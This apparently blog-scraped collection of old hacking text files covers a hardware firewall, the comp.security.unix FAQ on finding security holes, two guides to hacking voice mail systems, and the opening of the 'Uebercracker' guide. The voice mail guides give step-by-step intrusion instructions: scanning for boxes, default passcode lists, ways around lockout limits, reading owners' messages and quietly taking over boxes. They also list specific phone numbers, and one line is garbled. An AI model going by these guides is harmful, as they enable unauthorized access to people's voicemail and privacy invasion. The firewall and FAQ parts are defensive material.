HACKING

Hardware Firewall

2013-04-12T06:10:00.001-07:00

~~Hardware Firewall~~

The best firewall is a hardware firewall that is completely separate from your operating system. It need not be a dedicated router, could be an old pentium box running Linux. Below I have found some sites that have How To's on setting up an outside hardware router using an old computer and using a little linux program that fits on a single floppy disk.

~~Brief Description:~~
floppyfw is a router with the advanced firewall-capabilities in Linux that fits on one single floppy disc.

~~Features:~~
Access lists, IP-masquerading (Network Address Translation), connection tracked packet filtering and (quite) advanced routing. Package for traffic shaping is also available.
Requires only a 386sx or better with two network interface cards, a 1.44MB floppy drive and 12MByte of RAM ( for less than 12M and no FPU, use the 1.0 series, which will stay maintained. )
Very simple packaging system. Is used for editors, PPP, VPN, traffic shaping and whatever comes up. (now this is looking even more like LRP (may it rest in peace) but floppyfw is not a fork.)
Logging through klogd/syslogd, both local and remote.
Serial support for console over serial port.
DHCP server and DNS cache for internal networks.

floppyfw
~~http://www.zelow.no/floppyfw/~~
Sentry Firewall CD-ROM is a Linux-based bootable CDROM suitable for use as an inexpensive and easy to maintain firewall, server, or IDS(Intrusion Detection System) Node. The system is designed to be immediately configurable for a variety of different operating environments via a configuration file located on a floppy disk, a local hard drive, and/or a network ~~via HTTP(S),~~ FTP, SFTP, or SCP.

The Sentry Firewall CD is a complete Linux system that runs off of an initial ramdisk, much like a floppy-based system, and a CD. The default kernel is a current 2.4.x series kernel with various Netfilter patches applied. An OpenWall-patched current 2.2.x kernel is also available on the CD.

Booting from the ~~CDROM~~ is a fairly familiar process. The BIOS execs the bootloader(Syslinux) - which then displays a bootprompt and loads the kernel and ramdisk into memory. Once the kernel is running, the ramdisk is then mounted as root(/). At this point our configuration scripts are run(written in perl) that configure the rest of the system. It is the job of these configure scripts to put the various startup and system files into the proper location using either what is declared in the configuration file(sentry.conf) or the system defaults located in the /etc/default directory.

~~Most~~ of the critical files used at boot time can be replaced with your own copy when declared in the configuration file. This is essentially how we allow the user to configure the system using his/her own configuration and init files.

All of the binaries, files, scripts, etc, used to create the CD-ROM are also available on the ~~CD-ROM~~. So, with a little practice, you can easily build and customize your own bootable Sentry Firewall CD. Please see the HOWTO for more details.
~~Sentry Firewall~~

CONTACT FOR ADVERTISEMENT
+919608090390

How to find Security Holes

2013-04-11T22:26:00.000-07:00

~~How to find Security Holes~~

[quoting from the comp.security.unix FAQ]
Security holes manifest themselves in (broadly) four ways:

1) Physical Security Holes.

- Where the potential problem is caused by giving unauthorised persons
physical access to the machine, where this might allow them to perform
things that they shouldn't be able to do.

A good example of this would be a public workstation room where it would
be trivial for a user to reboot a machine into single-user mode and muck
around with the workstation filestore, if precautions are not taken.

Another example of this is the need to restrict access to confidential
backup tapes, which may (otherwise) be read by any user with access to
the tapes and a tape drive, whether they are meant to have permission or
not.

2) Software Security Holes

- Where the problem is caused by badly written items of "privledged"
software (daemons, cronjobs) which can be compromised into doing things
which they shouldn't oughta.

The most famous example of this is the "sendmail debug" hole (see
bibliography) which would enable a cracker to bootstrap a "root" shell.
This could be used to delete your filestore, create a new account, copy
your password file, anything.

(Contrary to popular opinion, crack attacks via sendmail were not just
restricted to the infamous "Internet Worm" - any cracker could do this
by using "telnet" to port 25 on the target machine. The story behind a
similar hole (this time in the EMACS "move-mail" software) is described
in [Stoll].)

New holes like this appear all the time, and your best hopes are to:

a: try to structure your system so that as little software as possible
runs with root/daemon/bin privileges, and that which does is known to
be robust.

b: subscribe to a mailing list which can get details of problems
and/or fixes out to you as quickly as possible, and then ACT when you
receive information.

>From: Wes Morgan <morgan@edu.uky.ms>
>
> c: When installing/upgrading a given system, try to install/enable only
> those software packages for which you have an immediate or foreseeable
> need. Many packages include daemons or utilities which can reveal
> information to outsiders. For instance, AT&T System V Unix' accounting
> package includes acctcom(1), which will (by default) allow any user to
> review the daily accounting data for any other user. Many TCP/IP packa-
> ges automatically install/run programs such as rwhod, fingerd, and
> <occasionally> tftpd, all of which can present security problems.
>
> Careful system administration is the solution. Most of these programs
> are initialized/started at boot time; you may wish to modify your boot
> scripts (usually in the /etc, /etc/rc, /etc/rcX.d directories) to pre-
> vent their execution. You may wish to remove some utilities completely.
> For some utilities, a simple chmod(1) can prevent access from unauthorized
> users.
>
> In summary, DON'T TRUST INSTALLATION SCRIPTS/PROGRAMS! Such facilities
> tend to install/run everything in the package without asking you. Most
> installation documentation includes lists of "the programs included in
> this package"; be sure to review it.

3) Incompatible Usage Security Holes

- Where, through lack of experience, or no fault of his/her own, the
System Manager assembles a combination of hardware and software which
when used as a system is seriously flawed from a security point of view.
It is the incompatibility of trying to do two unconnected but useful
things which creates the security hole.

Problems like this are a pain to find once a system is set up and
running, so it is better to build your system with them in mind. It's
never too late to have a rethink, though.

Some examples are detailed below; let's not go into them here, it would
only spoil the surprise.

4) Choosing a suitable security philosophy and maintaining it.

>From: Gene Spafford <spaf@cs.purdue.edu>
>The fourth kind of security problem is one of perception and
>understanding. Perfect software, protected hardware, and compatible
>components don't work unless you have selected an appropriate security
>policy and turned on the parts of your system that enforce it. Having
>the best password mechanism in the world is worthless if your users
>think that their login name backwards is a good password! Security is
>relative to a policy (or set of policies) and the operation of a system
>in conformance with that policy.

---

From: Hacking
Subject: Hacking Ideas
Date: 11/10/93

( Please contribute by sending E-Mail to <scott@santafe.edu> ... )

[ Many ideas taken from: HaxNet - APG V1.3 : Guide to finding new holes]

NOTE: I think this should be divided into general categories:
1) General principles
2) Looking for holes in src (most items here)
3) Looking in binary distributions
4) Looking in site specific configurations

The following general classifications suggest themselves:
1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
8) permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories

(Suggested splitting of above into main and sub-catagories)
I: Suid binaries and scripts
unexpected user interactions
flawed liberary calls
implicit assumptions of external conditions (sym links, loc. paths)
race conditions
II: daemons running with priviliged uid's
race conditions
poor file protectons
implicit file protections
trust
authentication
III: Kernel problems
Kernel race conditions
device driver code

The following four step method was created by System Development
Corporation, who report a 65% success rate on the flaw hypotheses
generated. Doing a comprehensive search for operating system flaws
requires four steps:

Step 1) Knowledge of system control structure.
===============================================
To find security holes, and identifying design weaknesses it is
necessary to understand the system control structure, and layers.
One should be able to list the:
A) security objects: items to be protected. ie: a users file.
B) control objects: items that protect security objects. ie: a i-node
C) mutual objects : objects in both classes. ie: the password file
With such a list, it is possible to graphically represent a control
hierarchy and identify potential points of attack. Making flow charts
to give a visual breakdown of relationships definitely helps.
Reading the various users, operators, and administrators manuals should
provide this information.
(following para's should probably be moved to a "legal" section)
Reading and greping source code should also prove valuable. For those
without a source licence, I would suggest we use LINUX, NET2, and BSD386
distributions in order to stay legal. At some future time we may be able
to form a working contract between someone or a company with legal access
to other distributions and members actively participating in this project.
It appears that extracts of proprietary code may be used for academic
study, so long as they are not reused in a commercial product - more
checking is necessary though.

Step 2) Generate an inventory of suspected flaws. (i.e. flaw hypotheses)
========================================================================
In particular we want:
Code history:
What UNIX src does a particular flavor derive from? This is important
for cross references (very often only one vendor patches certain code,
which may get reused, in it's unpatched reincarnation by others)
A solid cross reference:
Who checked which bug in what OS and what version prevents us from
duplicating work.

A good start would be listing all the suid binaries on the various OS
flavors/versions. Then try to work out why each program is suid. i.e.:
rcp is suid root because it must use a privilaged port to do user
name authentication.
Often code that was never designed to be suid, is made suid, durring
porting to solve file access problems.
We need to develope a data base that will be able to look at pairs and
triplets of data, specificly: program name, suid, sgid, object accessed
(why prog is suid/sgid), OS flavor/version, and flav/vers geniology.
Any sugestions on how to implement such a DB?

Step 3) Confirm hypotheses. (test and exploit flaws)
====================================================

Step 4) Make generalizations of the underlying system weaknesses, for
which the flaw represents a specific instance.
=====================================================================

Tool Box:
=========
AGREP: I suggest everyone obtain, and install agrep from:
ftp cs.arizona.edu /agrep/agrep.tar.Z
Agrep supports "windowing" so it can look for routines, and subroutines.
It also supports logical operators and is thus ideally suited to automating
the search for many of the following flaws. i.e. <psudocode>
agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
OR execvp()]} /usr/local/src/*.c

PERMUTATION PROGRAM: Another tool worth producing is a program to generate
all possible permutations of command line flags/arguments in order to uncover
undocumented features, and try to produce errors.

TCOV:

CRASH: Posted to USENET (what FTP archive?) (descrip?)

PAPERS: There are several papers that discuss methods of finding flaws, and
present test suites.
1) An Emphirical Study of the reliability of UNIX Utilities, by Barton P.
Miller, Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,
Dec '90. Describes a test suite for testing random input strings.
Results indicated that 25% of the programs hung, crashed, or misbehaved.
In one case the OS crashed. An understanding of buffer and register
layout on the environment in question, and the expected input is likely
to produce the desired results.
2) The Mothra tools set, in Proceedings of the 22nd Hawaii International
Conference on Systems and Software, pages 275-284, Kona, HI, January '89
3) Extending Mutation Testing to Find Environmental Bugs, by Eugene H.
Spafford, Software Practice and Experience, 20(2):181-189, Feb '90
4) A paper by IBM was mentioned that was submitted to USENIX a few years
ago. (Anyone have a citation?).

Specific Flaws to Check For:
============================
1) Look for routines that don't do boundary checking, or verify input.
ie: the gets() family of routines, where it is possible to overwrite
buffer boundaries. ( sprintf()?, gets(), etc. )
also: strcpy() which is why most src has:
#define SCYPYN((a)(b)) strcpy(a, b, sizeof(a))

2) SUID/SGID routines written in one of the shells, instead of C or
PERL.

3) SUID/SGID routines written in PERL that don't use the "taintperl"
program.)

4) SUID/SGID routines that use the system(), popen(), execlp(), or
execvp() calls to run something else.

5) Any program that uses relative path names inside the program.

6) The use of relative path names to specify dynamically linked libraries.
(look in Makefile).

7) Routines that don't check error return codes from system calls. (ie:
fork(2), suid(2), etc), setuid() rather, as in the famous rcp bug

8) Holes can often be found in code that:
A) is ported to a new environment.
B) receives unexpected input.
C) interacts with other local software.
D) accesses system files like passwd, L.sys, etc.
E) reads input from a publicly writable file/directory.
F) diagnostic programs which are typically not user-proofed.

9) Test code for unexpected input. Coverage, data flow, and mutation
testing tools are available.

10) Look in man pages, and users guides for warnings against doing X, and
try variations of X. Ditto for "bugs" section.

11) Look for seldom used, or unusual functions or commands - read backwards.
In particular looking for undocumented flags/arguments may prove useful.
Check flags that were in prior releases, or in other OS versions. Check
for options that other programs might use. For instance telnet uses -h
option to login ...
right, as most login.c's I've seen have:
if((getuid()) && hflag){
syslog()
exit()
}

12) Look for race conditions.

13) Failure of software to authenticate that it is really communicating
with the desired software or hardware module it wants to be accessing.

14) Lack or error detection to reset protection mechanisms following an
error.

15) Poor implementation resulting in, for example, condition codes being
improperly tested.

16) Implicit trust: Routine B assumes routine A's parameters are correct
because routine A is a system process.

17) System stores it's data or references user parameters in the users
address space.

18) Inter process communication: return conditions (passwd OK, illegal
parameter, segment error, etc) can provide a significant wedge, esp.
when combined with (17).

19) User parameters may not be adequately checked.

20) Addresses that overlap or refer to system areas.

21) Condition code checks may be omitted.

22) Failure to anticipate unusual or extraordinary parameters.

23) Look for system levels where the modules involved were written by
different programmers, or groups of programmers - holes are likely
to be found.

24) Registers that point to the location of a parameters value instead
of passing the value itself.

25) Any program running with system privileges. (too many progs are given
uid 0, to facilitate access to certain tables, etc.)

26) Group or world readable temporary files, buffers, etc.

27) Lack of threshold values, and lack of logging/notification once these
have been triggered.

28) Changing parameters of critical system areas prior to their execution
by a concurrent process. (race conditions)

29) Inadequate boundary checking at compile time, for example, a user
may be able to execute machine code disguised as data in a data area.
(if text and data areas are shared)

30) Improperly handling user generated asynchronous interrupts. Users
interrupting a process, performing an operation, and either returning
to continue the process or begin another will frequently leave the
system in an unprotected state. Partially written files are left open,
improper writing of protection infraction messages, improper setting
of protection bits, etc often occur.

31) Code that uses fopen(3) without setting the umask. ( eg: at(1), etc. )
In general, code that does not reset the real and effective uid before
forking.

32) Trace is your friend (or truss in SVR4) for helping figure out what
system calls a program is using.

33) Scan /usr/local fs's closely. Many admins will install software from
the net. Often you'll find tcpdump, top, nfswatch, ... suid'd root for
their ease of use.

34) Check suid programs to see if they are the ones originally put on the
system. Admins will sometimes put in a passwd replacement which is less
secure than the distributed version.

35) Look for programs that were there to install software or loadable
kernel modules.

36) Dynamically linked programs in general. Remember LD_PRELOAD, I think
that was the variable.

37) I/O channel programming is a prime target. Look for logical errors,
inconsistencies, and omissions.

38) See if it's possible for a I/O channel program to modify itself, loop
back, and then execute the newly modified code. (instruction pre-load
may screw this up)

39) If I/O channels act as independent processors they may have unlimited
access to memory, thus system code may be modified in memory prior to
execution.

40) Look for bugs requiring flaws in multiple pieces of software, i.e. say
program a can be used to change config file /etc/a now program b assumes
the information in a to be correct and this leads to unexpected results
(just look at how many programs trust /etc/utmp)

41) Any program, especially those suid/sgid, that allow shell escapes.

Hacking Voice Mail Systems

2013-04-11T22:16:00.000-07:00

Hacking Voice Mail System

by:-> RB
Voice Mail is a relatively new concept and not much has been said about it.
It is a very useful tool for the business person and the phreak. The way it
works is that somebody wishing to get in touch with you calls a number,
usually a 1-800, and punches in on his touch-pad your mailbox number and then
he is able to leave a message for you. Business experts report that this
almost totally eliminates telephone tag. When a person wishes to pick up his
message all he needs to do is call the number enter a certain code and he can
hear his messages, transfer them, and do other misc. mailbox utilities.

Most VMSs are similar in the way they work. There are a few different ways
the VMSs store the voice. One way is that the voice is recorded digitally and
compressed and when heard it is reproduced back into the voice that recorded
it. Another method that is slower and uses more space, but costs less, stores
the voice on magnetic tape, the same type that is used to store data on a
computer, and then runs the tape at a slow speed. Using this method the voice
does not need to be reproduced in any way and will sound normal as long as the
tape is running at a constant speed. On some of the newer VMSs the voice is
digitally recorded and is transformed from the magnetic tape at about 2400
bits per second.

There are many different types and versions of voice mail systems. Some of
the best and easiest to get on will be discussed.

Centagram
---------
These are direct dial (you don't have to enter a box number). To get on one
of these, first have a number to any box on the system. All of the other
boxes will be on the same prefix; just start scanning them until you find one
that has a message saying that person you are calling is not available. This
usually means that the box has not been assigned to anybody yet. Before the
nice lady's voice tells you to leave the message, hit #. You will then be
prompted for your password. The password will usually be the same as the last
four digits of the box's number or a simple number like 1000, 2000, etc. Once
you get on, they are very user friendly and will prompt you with a menu of
options. If you can't find any empty boxes or want to do more, you can hack
but the system administrators box, which will usually be 9999 on the same
prefix as the other boxes, will allow you to hear anybody's messages and
create and delete boxes.

Sperry Link
-----------
These systems are very nice. They will usually be found on an 800 number.
These are one of the hardest to get a box on because you must hack out a user
ID (different from the person's box number) and a password. When it answers,
if it says, "This is a Sperry Link voice station. Please enter your user ID,"
you will have to start trying to find a valid user ID. On most Sperrys it
will be a five digit number. If it answers and says, "This is an X answering
service," you first have to hit *# to get the user number prompt. Once you
get a valid user number will have oKVWV.."! password on most systems, it
will be 4 digits. Once you get in, these are also very user friendly and have
many different options available.

RSVP
----
This is probably one of the worst VMSs but it is by far the easiest to get
yourself a box. When it answers you can hit * for a directory of the boxes on
it (it will only hold 23). If you hit # you will be given a menu of options
and when you choose an option you will then be prompted for your ID number.
The ID number on an RSVP system will just about always be the same as the
mailbox number, which are always only 2 digits.

A.S.P.E.N.
----------
The Aspen voice message systems made by Octel Telecommunications is in my
opinion the BEST VMS made. To get a box on an Aspen, you need to find an
empty box. To find an empty box, scan the box numbers and if one says, "You
entered XXXX. Please leave a message at the tone," then this is an empty box.
You next just press # and when prompted for your box number enter the number
of the empty box and friendly voice of the nice lady will guide you through
all of the steps of setting up your box. She first tells you what you can do
with the box and then will prompt you with, "Please enter the temporary
password assigned to you by your system manager." This password will usually
be 4 digits long and the same as the box number like 1000, etc. Once you get
on their are many things you can do. You can make a distribution list where
if you want to leave a certain message to more than one person, you can enter
the list number and all of the boxes on the list will get the message. You can
also have the system call you and notify you that you have new messages. These
systems also have what they call "Information center mailboxes" that are
listen only and can also have a password on them so the person calling has to
enter the password before he hears the greeting message. Aspen VMSs have a
system managers mailbox that will just about give you total control of the
whole system and let you listen to people's mail, create and delete boxes, and
many other things.

Thank you for reading this file and if you would like to get in touch with me
VIA VOICE MAIL call 1-800-222-0311 and hit *2155.

==========================================================================
Mailbox Systems
==========================================================================
Mailbox systems are the link between information and the underworld. If
you have ever called one, then you will know the advantages of having one,
especially the ones that are open to whole underworld, rather than just a
select few. There are two types of mailbox systems that are widely used.
The first type we will talk about is the multiple mailbox systems, or
commonly referred to as message systems. These systems have several
mailboxes set up on one number. Usually, you can access other mailboxes
from that number by pressing '*' or '#'. Sometimes you just enter the
mailbox number and you are connected. These are the safest systems to use
to protect information from US Sprint and other long distance companies.
Since US Sprint and other companies call the destination numbers, it is
safer to have 800 mailbox systems, and most of the time, the multiple
mailbox systems are on 800 numbers. The passcode on these systems can
vary in length and can be accessed by several different methods, so it is
impossible to explain exactly how to hack these systems.
The other type is the single mailbox system. These are usually set up
in a reserved prefix in an area code. (Ex: 713-684-6xxx) These systems
are usually controlled by the same type of hardware/software. To access
the area where you enter the passcode, just hit '0' for a second or so.
The passcodes are four (4) digits long. The only way to hack these is
manually. The best thing you could do is to find one that does not have
a recording from a person, but just the digitized voice. If you hack one
that someone already owns, they will report it and it will not last as
long.

Here is a list mailboxes or prefixes to help you get started
--------------------------------------------------------------------------
Single Multiple Digits
------------ ------------ --------
213-281-8xxx 212-714-2770 3
213-285-8xxx 216-586-5000 4
213-515-2xxx 415-338-7000 Aspen Message System 3
214-733-5xxx 714-474-2033 Western Digital
214-855-6xxx 800-222-0651 Vincent and Elkins 4
214-978-2xxx 800-233-8488 3
215-949-2xxx 800-447-8477 Fairylink 7
312-450-8xxx 800-521-5344 3
313-768-1xxx 800-524-2133 RCA 4
405-557-8xxx 800-527-0027 TTE TeleMessager 6
602-230-4xxx 800-632-7777 Asynk 6
619-492-8xxx 800-645-7778 SoftCell Computers 4
713-684-6xxx 800-648-9675 Zoykon 4
800-847-0003 Communications World 3
=================================================
HACKING VOICE MAIL SYSTEMS

DISCLAIMER

I, Night Ranger, or anyone else associated with Phrack, am not responsible
for anything the readers of this text may do. This file is for informational
and educational purposes only and should not be used on any system or network
without written permission of the authorized persons in charge.

INTRODUCTION

I decided to write this text file because I received numerous requests for
vmbs from people. Vmbs are quite easy to hack, but if one doesn't know where
to start it can be hard. Since there aren't any decent text files on this
subject, I couldn't refer them to read anything, and decided to write one
myself. To the best of my knowledge, this is the most complete text on
hacking vmb systems. If you have any comments or suggestions, please let me
know.

Voice Mail Boxes (vmbs) have become a very popular way for hackers to get in
touch with each other and share information. Probably the main reason for
this is their simplicity and availability. Anyone can call a vmb regardless
of their location or computer type. Vmbs are easily accessible because most
are toll free numbers, unlike bulletin boards. Along with their advantages,
they do have their disadvantages. Since they are easily accessible this
means not only hackers and phreaks can get information from them, but feds
and narcs as well. Often they do not last longer than a week when taken
improperly. After reading this file and practicing the methods described,
you should be able to hack voice mail systems with ease. With these thoughts
in mind, let's get started.

FINDING A VMB SYSTEM

The first thing you need to do is find a VIRGIN (unhacked) vmb system. If
you hack on a system that already has hackers on it, your chance of finding
a box is considerably less and it increases the chance that the system
administrator will find the hacked boxes. To find a virgin system, you need
to SCAN some 800 numbers until you find a vmb. A good idea is to take the
number of a voice mail system you know, and scan the same exchange but not
close to the number you have.

FINDING VALID BOXES ON THE SYSTEM

If you get a high quality recording (not an answering machine) then it is
probably a vmb system. Try entering the number 100, the recording should
stop. If it does not, you may have to enter a special key (such as '*' '#'
'8' or '9') to enter the voice mail system. After entering 100 it should
either connect you to something or do nothing. If it does nothing, keep
entering (0)'s until it does something. Count the number of digits you
entered and this will tell you how many digits the boxes on the system are.
You should note that many systems can have more than one box length depending
on the first number you enter, Eg. Boxes starting with a six can be five
digits while boxes starting with a seven can only be four. For this file we
will assume you have found a four digit system, which is pretty common. It
should do one of the following things...

1) Give you an error message, Eg. 'Mailbox xxxx is invalid.'
2) Ring the extension and then one of the following..
1) Someone or no one answers.
2) Connects you to a box.
3) Connect you to mailbox xxxx.

If you get #1 then try some more numbers. If you get #2 or #3 then you have
found a valid vmb (or extension in the case of 2-1). Extensions usually have
a vmb for when they are not at their extension. If you get an extension,
move on. Where you find one box you will probably find more surrounding it.
Sometimes a system will try to be sneaky and put one valid vmb per 10 numbers.
Eg. Boxes would be at 105, 116, 121, ... with none in between. Some systems
start boxes at either 10 after a round number or 100 after, depending on
whether it is a three or four box system. For example, if you do not find
any around 100, try 110 and if you do not find any around 1000 try 1100. The
only way to be sure is to try EVERY possible box number. This takes time but
can be worth it.

Once you find a valid box (even if you do not know the passcode) there is a
simple trick to use when scanning for boxes outside of a vmb so that it does
not disconnect you after three invalid attempts. What you do is try two box
numbers and then the third time enter a box number you know is valid. Then
abort ( usually by pressing (*) or (#) ) and it will start over again. From
there you can keep repeating this until you find a box you can hack on.

FINDING THE LOGIN SEQUENCE

Different vmb systems have different login sequences (the way the vmb owner
gets into his box). The most common way is to hit the pound (#) key from the
main menu. This pound method works on most systems, including Aspens (more
on specific systems later). It should respond with something like 'Enter
your mailbox.' and then 'Enter your passcode.' Some systems have the
asterisk (*) key perform this function. Another login method is hitting a
special key during the greeting (opening message) of the vmb. On a Cindy or
Q Voice Mail system you hit the zero (0) key during the greet and since
you've already entered your mailbox number it will respond with 'Enter your
passcode.' If (0) doesn't do anything try (#) or (*). These previous two
methods of login are the most common, but it is possible some systems will
not respond to these commands. If this should happen, keep playing around
with it and trying different keys. If for some reason you cannot find the
login sequence, then save this system for later and move on.

GETTING IN

This is where the basic hacking skills come to use. When a system
administrator creates a box for someone, they use what's called a default
passcode. This same code is used for all the new boxes on the system, and
often on other systems too. Once the legitimate owner logs into his new vmb,
they are usually prompted to change the passcode, but not everyone realizes
that someone will be trying to get into their mailbox and quite a few people
leave their box with the default passcode or no passcode at all. You should
try ALL the defaults I have listed first.

DEFAULTS BOX NUMBER TRY

box number (bn) 3234 3234 Most Popular
bn backwards 2351 1532 Popular
bn+'0' 323 3230 Popular With Aspens

Some additional defaults in order of most to least common are:

4d 5d 6d
0000 00000 000000 *MOST POPULAR*
9999 99999 999999 *POPULAR*
1111 11111 111111 *POPULAR*
1234 12345 123456 *VERY POPULAR WITH OWNERS*
4321 54321 654321
6789 56789 456789
9876 98765 987654
2222 22222 222222
3333 33333 333333
4444 44444 444444
5555 55555 555555
6666 66666 666666
7777 77777 777777
8888 88888 888888
1991

It is important to try ALL of these before giving up on a system. If none of
these defaults work, try anything you think may be their passcode. Also
remember that just because the system can have a four digit passcode the vmb
owner does not have to have use all four digits. If you still cannot get
into the box, either the box owner has a good passcode or the system uses a
different default. In either case, move on to another box. If you seem to
be having no luck, then come back to this system later. There are so many
vmb systems you should not spend too much time on one hard system.

If there's one thing I hate, it's a text file that says 'Hack into the
system. Once you get in...' but unlike computer systems, vmb systems really
are easy to get into. If you didn't get in, don't give up! Try another
system and soon you will be in. I would say that 90% of all voice mail
systems have a default listed above. All you have to do is find a box with
one of the defaults.

ONCE YOU'RE IN

The first thing you should do is listen to the messages in the box, if there
are any. Take note of the dates the messages were left. If they are more
than four weeks old, then it is pretty safe to assume the owner is not using
his box. If there are any recent messages on it, you can assume he is
currently using his box. NEVER take a box in use. It will be deleted soon,
and will alert the system administrator that people are hacking the system.
This is the main reason vmb systems either go down, or tighten security. If
you take a box that is not being used, it's probable no one will notice for
quite a while.

SCANNING BOXES FROM THE INSIDE

>From the main menu, see if there is an option to either send a message to
another user or check receipt of a message. If there is you can search for
VIRGIN (unused) boxes) without being disconnected like you would from
outside of a box. Virgin boxes have a 'generic' greeting and name. Eg.
'Mailbox xxx' or 'Please leave your message for mailbox xxx...' Write down
any boxes you find with a generic greeting or name, because they will
probably have the default passcode. Another sign of a virgin box is a name
or greeting like 'This mailbox is for ...' or a women's voice saying a man's
name and vice versa, which is the system administrator's voice. If the box
does not have this feature, simply use the previous method of scanning boxes
from the outside. For an example of interior scanning, when inside an Aspen
box, chose (3) from the main menu to check for receipt. It will respond with
'Enter box number.' It is a good idea to start at a location you know there
are boxes present and scan consecutively, noting any boxes with a 'generic'
greeting. If you enter an invalid box it will alert you and allow you to
enter another. You can enter invalid box numbers forever, instead of the
usual three incorrect attempts from outside a box.

TAKING A BOX

Now you need to find a box you can take over. NEVER take a box in use; it
simply won't last. Deserted boxes (with messages from months ago) are the
best and last the longest. Take these first. New boxes have a chance of
lasting, but if the person for whom the box was created tries to login,
you'll probably lose it. If you find a box with the system administrator's
voice saying either the greeting or name (quite common), keeping it that way
will prolong the box life, especially the name.

This is the most important step in taking over a box! Once you pick a box take over, watch it for at least three days BEFORE changing anything! Once
you think it's not in use, then change only the passcode, nothing else!
Then login frequently for two to three days to monitor the box and make sure
no one is leaving messages in it. Once you are pretty sure it is deserted,
change your greeting to something like 'Sorry I'm not in right now, please
leave your name and number and I'll get back to you.' DO NOT say 'This is
Night Ranger dudes...' because if someone hears that it's good as gone. Keep
your generic greeting for one week. After that week, if there are no
messages from legitimate people, you can make your greeting say whatever you
want. The whole process of getting a good vmb (that will last) takes about
7-10 days, the more time you take the better chance you have of keeping it
for long time. If you take it over as soon as you get in, it'll probably
last you less than a week. If you follow these instructions, chances are it
will last for months. When you take some boxes, do not take too many at one
time. You may need some to scan from later. Plus listening to the messages
of the legitimate users can supply you with needed information, such as the
company's name, type of company, security measures, etc.

SYSTEM IDENTIFICATION

After you have become familiar with various systems, you will recognize them
by their characteristic female (or male) voice and will know what defaults
are most common and what tricks you can use. The following is a few of a few
popular vmb systems.

ASPEN is one of the best vmb systems with the most features. Many of them
will allow you to have two greetings (a regular and an extended absence
greeting), guest accounts, urgent or regular messages, and numerous other
features. Aspens are easy to recognize because the female voice is very
annoying and often identifies herself as Aspen. When you dial up an Aspen
system, sometimes you have to enter an (*) to get into the vmb system. Once
you're in you hit (#) to login. The system will respond with 'Mailbox number
please?' If you enter an invalid mailbox the first time it will say 'Mailbox
xxx is invalid...' and the second time it will say 'You dialed xxx, there is
no such number...' and after a third incorrect entry it will hang up. If
you enter a valid box, it will say the box owner's name and 'Please enter
your passcode.' The most common default for Aspens is either box number or
box number + (0). You only get three attempts to enter a correct box number
and then three attempts to enter a correct passcode until it will disconnect
you. From the main menu of an Aspen box you can enter (3) to scan for other
boxes so you won't be hung up like you would from outside the box.

CINDY is another popular system. The system will start by saying 'Good
Morning/Afternoon/Evening. Please enter the mailbox number you wish...' and
is easy to identify. After three invalid box entries the system will say
'Good Day/Evening!' and hang up. To login, enter the box number and during
the greet press (0) then your passcode. The default for ALL Cindy systems is
(0). From the main menu you can enter (6) to scan for other boxes so you
won't be hung up. Cindy voice mail systems also have a guest feature, like
Aspens. You can make a guest account for someone, and give them
password, and leave them messages. To access their guest account, they just
login as you would except they enter their guest passcode. Cindy systems
also have a feature where you can have it call a particular number and
deliver a recorded message. However, I have yet to get this feature to work
on any Cindy boxes that I have.

MESSAGE CENTER is also very popular, especially with direct dials. To login
on a Message Center, hit the (*) key during the greet and the system will
respond with 'Hello <name>. Please enter your passcode.' These vmbs are
very tricky with their passcode methods. The first trick is when you enter
an invalid passcode it will stop you one digit AFTER the maximum passcode
length. Eg. If you enter 1-2-3-4-5 and it gives you an error message you enter the fifth digit, that means the system uses a four digit passcode,
which is most common on Message Centers. The second trick is that if you enter
an invalid code the first time, no matter what you enter as the second passcode
it will give you an error message and ask again. Then if you entered the
correct passcode the second and third time it will let you login. Also, most
Message Centers do not have a default, instead the new boxes are 'open' and
when you hit (*) it will let you in. After hitting (*) the first time to
login a box you can hit (*) again and it will say 'Welcome to the Message
Center.' and from there you can dial other extensions. This last feature can
be useful for scanning outside a box. To find a new box, just keep entering
box numbers and hitting (*) to login. If it doesn't say something to the
effect of welcome to your new mailbox then just hit (*) again and it will
send you back to the main system so you can enter another box. This way you
will not be disconnected. Once you find a box, you can enter (6) 'M'ake a
message to scan for other boxes with generic names. After hitting (6) it
will ask for a mailbox number. You can keep entering mailbox numbers until
you find a generic one. Then you can cancel your message and go hack it out.

Q VOICE MAIL is a rather nice system but not as common. It identifies itself
'Welcome to Q Voice Mail Paging' so there is no question about what system it
is. The box numbers are usually five digits and to login you enter (0) like
a Cindy system. From the main menu you can enter (3) to scan other boxes.

There are many more systems I recognize but do not know the name for them.
You will become familiar with these systems too.

CONCLUSION

You can use someone else's vmb system to practice the methods outlined above,
but if you want a box that will last you need to scan out a virgin system.
If you did everything above and could not get a vmb, try again on another
system. If you follow everything correctly, I guarantee you will have more
vmbs than you know what to do with. When you start getting a lot of them, if
you are having trouble, or just want to say hi be sure to drop me a line on
either of my internet addresses, or leave me a voice mail message.

NOTE: Some information was purposely not included in this file to prevent
abuse to various systems.
Iam just waiting for ur feed back
yours wellwishier
RB
Raghib0.29@gmail.com

_______________________________________________________________________________

A Guide to Internet Security- Becoming an Uebercracker

2013-04-07T22:32:00.000-07:00

A Guide to Internet Security- Becoming an Uebercracker

A Guide to Internet Security: Becoming an Uebercracker
and Becoming an UeberAdmin to stop Uebercrackers.

This is a paper will be broken into two parts, one showing 15 easy steps
to becoming a uebercracker and the next part showing how to become a
ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased
by Dan Farmer to refer to some elite (cr/h)acker that is practically
impossible to keep out of the networks.

Here's the steps to becoming a uebercracker.

Step 1. Relax and remain calm. Remember YOU are a Uebercracker.

Step 2. If you know a little Unix, you are way ahead of the crowd and skip
past step 3.

Step 3. You may want to buy Unix manual or book to let you know what
ls,cd,cat does.

Step 4. Read Usenet for the following groups: alt.irc, alt.security,
comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background
in uebercracker culture.

Step 5. Ask on alt.irc how to get and compile the latest IRC client and
connect to IRC.

Step 6. Once on IRC, join the #hack channel. (Whew, you are half-way
there!)

Step 7. Now, sit on #hack and send messages to everyone in the channel
saying "Hi, Whats up?". Be obnoxious to anyone else that joins and asks
